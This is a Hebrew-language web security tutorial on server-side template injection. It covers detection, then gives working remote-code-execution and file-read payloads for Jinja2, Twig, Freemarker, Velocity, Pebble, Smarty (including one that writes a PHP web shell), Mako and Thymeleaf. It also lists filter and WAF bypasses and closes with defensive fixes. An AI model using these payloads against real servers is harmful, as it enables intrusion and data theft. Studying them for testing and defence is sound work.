לדלג לתוכן

הזרקת תבניות - SSTI

מבוא

הזרקת תבניות בצד השרת (Server-Side Template Injection) היא חולשה קריטית שמתרחשת כאשר קלט של המשתמש משולב ישירות לתוך תבנית בצד השרת, במקום לעבור כפרמטר לתבנית. החולשה מאפשרת לתוקף להזריק ביטויים של מנוע התבניות, ובמקרים רבים להגיע להרצת קוד מרחוק (RCE).

בניגוד ל-XSS שמתרחש בצד הלקוח, SSTI מתרחש בצד השרת - מה שהופך אותו להרבה יותר מסוכן.


מתי נוצרת החולשה

חולשה נוצרת כאשר המפתח משלב קלט משתמש ישירות בתוך מחרוזת התבנית:

# Vulnerable code - user input is injected directly into the template itself
@app.route('/greet')
def greet():
    name = request.args.get('name', '')
    template_string = f"<h1>Hello {name}!</h1>"
    return render_template_string(template_string)
# Safe code - user input is passed as a parameter to the template
@app.route('/greet')
def greet():
    name = request.args.get('name', '')
    return render_template_string("<h1>Hello {{name}}!</h1>", name=name)

ההבדל קריטי: בקוד הפגיע, אם המשתמש שולח {{7*7}} כשם, מנוע התבניות יעבד את הביטוי ויחזיר Hello 49!.


זיהוי SSTI - עץ ההחלטות

השלב הראשון בתקיפה הוא זיהוי מנוע התבניות. כל מנוע משתמש בתחביר שונה:

שלב 1 - בדיקה בסיסית

שולחים את הקלט {{7*7}} ובודקים את התגובה:

  • אם מוחזר 49 - כנראה מנוע מבוסס Jinja2, Twig, או דומה
  • אם מוחזר {{7*7}} כטקסט - ננסה תחביר אחר

שלב 2 - הבחנה בין מנועים

{{7*'7'}}
  • אם מוחזר 7777777 - זהו Jinja2 (Python)
  • אם מוחזר 49 - זהו Twig (PHP)

שלב 3 - תחביר נוסף

${7*7}        -> Freemarker, Velocity, Thymeleaf (Java)
#{7*7}        -> Thymeleaf, Pebble (Java)
<%= 7*7 %>    -> ERB (Ruby)
#{7*7}        -> Slim (Ruby)
@(7*7)        -> Razor (.NET)
{{= 7*7}}     -> doT.js

עץ החלטות מלא

Enter {{7*7}}
    |
    +-- Returns 49?
    |       |
    |       +-- Enter {{7*'7'}}
    |               |
    |               +-- Returns 7777777? --> Jinja2
    |               +-- Returns 49?      --> Twig
    |
    +-- Not processed?
            |
            +-- Enter ${7*7}
            |       |
            |       +-- Returns 49? --> Freemarker / Velocity / Mako
            |
            +-- Enter <%= 7*7 %>
            |       |
            |       +-- Returns 49? --> ERB
            |
            +-- Enter #{7*7}
                    |
                    +-- Returns 49? --> Pebble / Thymeleaf

Jinja2 - exploit מלא (Python/Flask)

מנוע Jinja2 הוא הנפוץ ביותר ב-Flask ו-Django (במידה מסוימת).

זיהוי

{{7*7}}       -> 49
{{7*'7'}}     -> 7777777
{{config}}    -> displays the Flask configuration

גישה לאובייקטים של Python דרך MRO

בסביבת Jinja2 אין גישה ישירה ל-os או subprocess, אבל אפשר להגיע אליהם דרך שרשרת המחלקות של Python:

# Step 1 - access the base class object
{{''.__class__}}
# Output: <class 'str'>

# Step 2 - climb up the class hierarchy
{{''.__class__.__mro__}}
# Output: (<class 'str'>, <class 'object'>)

# Step 3 - list of all subclasses of object
{{''.__class__.__mro__[1].__subclasses__()}}
# Output: a long list of classes

מציאת מחלקה שימושית להרצת קוד

# Search for os._wrap_close (usually at a variable index)
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
  {% if c.__name__ == '_wrap_close' %}
    {{ c.__init__.__globals__['popen']('id').read() }}
  {% endif %}
{% endfor %}

שיטות RCE נפוצות ב-Jinja2

# Method 1 - via config
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# Method 2 - via request
{{request.application.__self__._get_data_for_json.__globals__['os'].popen('id').read()}}

# Method 3 - via cycler
{{cycler.__init__.__globals__.os.popen('id').read()}}

# Method 4 - via joiner
{{joiner.__init__.__globals__.os.popen('id').read()}}

# Method 5 - via namespace
{{namespace.__init__.__globals__.os.popen('id').read()}}

קריאת קבצים ללא RCE

# Read a file via builtins
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}

# Note: the index [40] varies between Python versions
# Look for FileLoader or _IOBase

הbypass סינון - Bypass

# If __class__ is blocked
{{''|attr('\x5f\x5fclass\x5f\x5f')}}

# If dots are blocked
{{''['__class__']['__mro__'][1]['__subclasses__']()}}

# Using Jinja2 filters
{%set a='__cla'+'ss__'%}{{''|attr(a)}}

# Hex encoding
{{''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')}}

# Using request.args to bypass
{{request|attr(request.args.a)|attr(request.args.b)}}
# where: ?a=__class__&b=__mro__

Twig - exploit מלא (PHP/Symfony)

זיהוי

{{7*7}}        -> 49
{{7*'7'}}      -> 49 (not 7777777 like in Jinja2)
{{dump()}}     -> displays available variables

הרצת קוד - גרסאות ישנות (לפני 1.x)

// Old versions of Twig
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}

// Another method
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("cat /etc/passwd")}}

הרצת קוד - גרסאות חדשות

// Twig 2.x+ - using filter
{{['id']|filter('system')}}

// Using map
{{['id']|map('system')}}

// Using reduce
{{[0]|reduce('system','id')}}

// Using sort
{{['id',0]|sort('system')}}

קריאת קבצים ב-Twig

// Read a file
{{'/etc/passwd'|file_excerpt(0,100)}}

// Via source
{{source('/etc/passwd')}}

Freemarker - exploit מלא (Java)

מנוע Freemarker נפוץ מאוד באפליקציות Java.

זיהוי

${7*7}    -> 49
#{7*7}    -> 49

הרצת קוד

// Method 1 - Execute
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}

// Method 2 - ObjectConstructor
${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder","id").start()}

// Method 3 - JythonRuntime (if Jython is available)
<#assign jython="freemarker.template.utility.JythonRuntime"?new()>
<@jython>import os; os.system("id")</@jython>

קריאת קבצים

// Read a file
<#assign file=object("java.io.File", "/etc/passwd")>
${file.toString()}

// Alternative method
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}

Velocity - exploit (Java)

זיהוי

#set($x = 7*7)${x}    -> 49
$class.inspect("java.lang.Runtime")

הרצת קוד

// Method 1 - Runtime
#set($runtime = $class.inspect("java.lang.Runtime").type.getRuntime())
#set($process = $runtime.exec("id"))
#set($reader = $class.inspect("java.io.BufferedReader").type.getConstructor($class.inspect("java.io.Reader").type).newInstance($class.inspect("java.io.InputStreamReader").type.getConstructor($class.inspect("java.io.InputStream").type).newInstance($process.getInputStream())))
#set($output = "")
#foreach($line in [1..100])
  #set($line = $reader.readLine())
  #if($line)
    #set($output = "$output$line\n")
  #end
#end
$output

Pebble - exploit (Java)

זיהוי

{{7*7}}    -> 49

הרצת קוד

// Using Runtime
{% set cmd = 'id' %}
{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,null).exec(cmd).inputStream.readAllBytes() %}
{{ (1).TYPE.forName('java.lang.String').constructors[0].newInstance(([bytes, 'UTF-8'] | join(','))).split(',')[0] }}

Smarty - exploit (PHP)

זיהוי

{7*7}     -> 49
{$smarty.version}

הרצת קוד

// Direct method
{system('id')}

// Using tags
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

Mako - exploit (Python)

זיהוי

${7*7}    -> 49

הרצת קוד

# In Mako there is direct access to Python
<%
  import os
  result = os.popen('id').read()
%>
${result}

# One line
${__import__('os').popen('id').read()}

Thymeleaf - exploit (Java/Spring)

זיהוי

Thymeleaf מעבד ביטויים בתוך תכונות HTML:

<!-- Spring EL expression -->
<div th:text="${7*7}">placeholder</div>

הרצת קוד

// Using Spring EL
${T(java.lang.Runtime).getRuntime().exec('id')}

// Inside a URL expression
__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x

// Preprocessing - the main injection point
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x

חשוב: ב-Thymeleaf, הביטוי __...__ הוא preprocessing שמתבצע לפני העיבוד הרגיל, וזו נקודת הinjection העיקרית.


טכניקות bypass Sandbox

הbypass Sandbox ב-Jinja2

# Using lipsum (a built-in function)
{{lipsum.__globals__['os'].popen('id').read()}}

# Using range
{{range.__init__.__globals__['os'].popen('id').read()}}

# String chaining to bypass blocked keywords
{% set a = 'po' %}{% set b = 'pen' %}
{{cycler.__init__.__globals__.os[a~b]('id').read()}}

הbypass WAF

# Using Unicode encoding
{{''['\u005f\u005fclass\u005f\u005f']}}

# Using a format string
{{('%c'*9)%(95,95,99,108,97,115,115,95,95)}}

# Using |attr and |join
{{()|attr(["__cla","ss__"]|join)}}

הגנה מפני SSTI

עקרונות

  1. לעולם לא לשלב קלט משתמש בתוך מחרוזת התבנית - להעביר כפרמטר בלבד
  2. להשתמש בתבניות חסרות לוגיקה (Logic-less templates) כמו Mustache/Handlebars
  3. להפעיל Sandbox של מנוע התבניות אם קיים
  4. לבצע ולידציה על הקלט - לסנן תווים מיוחדים כמו {{ }} ${ } <# #>

דוגמה לקוד מתוקן

# Vulnerable
@app.route('/page')
def page():
    title = request.args.get('title')
    return render_template_string(f'<h1>{title}</h1>')

# Fixed - parameter in the template
@app.route('/page')
def page():
    title = request.args.get('title')
    return render_template_string('<h1>{{ title }}</h1>', title=title)

# Fixed - using a template file
@app.route('/page')
def page():
    title = request.args.get('title')
    return render_template('page.html', title=title)

הגדרת Sandbox ב-Jinja2

from jinja2.sandbox import SandboxedEnvironment

env = SandboxedEnvironment()
# The sandbox blocks access to dangerous attributes like __class__
template = env.from_string("Hello {{ name }}!")
result = template.render(name=user_input)

סיכום

SSTI היא אחת החולשות הקריטיות ביותר בעולם אבטחת האתרים. היא מאפשרת במרבית המקרים להגיע ל-RCE מלא על השרת. נקודות המפתח:

  • תמיד לבדוק עם payloads בסיסיים כמו {{7*7}} ו-${7*7}
  • להשתמש בעץ ההחלטות לזיהוי מנוע התבניות
  • כל מנוע דורש שרשרת exploit שונה
  • ההגנה הטובה ביותר היא להפריד לחלוטין בין קלט המשתמש לתבנית